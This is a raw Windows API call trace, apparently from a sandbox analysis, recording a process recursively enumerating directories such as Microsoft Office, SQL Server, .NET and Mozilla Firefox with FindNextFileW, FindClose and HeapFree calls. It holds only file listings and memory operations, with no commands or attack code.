	[0151.775] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2a7e39eb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17beb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1
	[0151.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0151.777] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0151.777] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0151.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0151.777] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa50bd2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1
	[0151.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0151.777] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0151.777] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0151.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0151.778] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0
	[0151.779] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0151.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0151.779] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~3")) returned 1
	[0151.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0151.779] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~2")) returned 1
	[0151.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0151.780] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0
	[0151.780] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0151.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0151.780] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0
	[0151.780] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0151.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0151.780] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0151.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0151.780] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0151.780] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0151.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0151.780] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0
	[0151.780] FindClose (in: hFindFile=0x5dd800 | out: hFindFile=0x5dd800) returned 1
	[0151.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0151.781] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 0
	[0151.781] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0151.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0151.782] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX86", cAlternateFileName="PROGRA~2")) returned 1
	[0152.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0152.279] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128848, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1
	[0152.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0152.281] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0152.281] FindClose (in: hFindFile=0x5ddec0 | out: hFindFile=0x5ddec0) returned 1
	[0152.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0152.281] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1
	[0152.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0152.282] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0152.282] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0152.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0152.285] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0
	[0152.285] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0152.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0152.285] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1
	[0152.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0152.300] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1
	[0152.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0152.310] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21276, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessCompare.rdlc", cAlternateFileName="ACCESS~1.RDL")) returned 1
	[0152.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0152.315] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMessageDismissal.txt", cAlternateFileName="EXCELM~1.TXT")) returned 1
	[0152.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0152.386] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c3c0a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c3c0a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c3c0a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x171878, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1
	[0152.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0152.388] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 0
	[0152.388] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0152.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0152.391] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~3")) returned 1
	[0153.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0153.541] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0
	[0153.541] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0153.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0153.541] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0
	[0153.541] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0153.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0153.541] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0153.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0153.542] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0153.542] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0153.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0153.542] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0
	[0153.542] FindClose (in: hFindFile=0x5dd800 | out: hFindFile=0x5dd800) returned 1
	[0153.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0153.542] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1
	[0153.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0153.542] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0
	[0153.542] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0153.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0153.543] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 0
	[0153.543] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0153.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0153.544] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0153.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0153.548] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SystemX86", cAlternateFileName="SYSTEM~1")) returned 1
	[0153.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
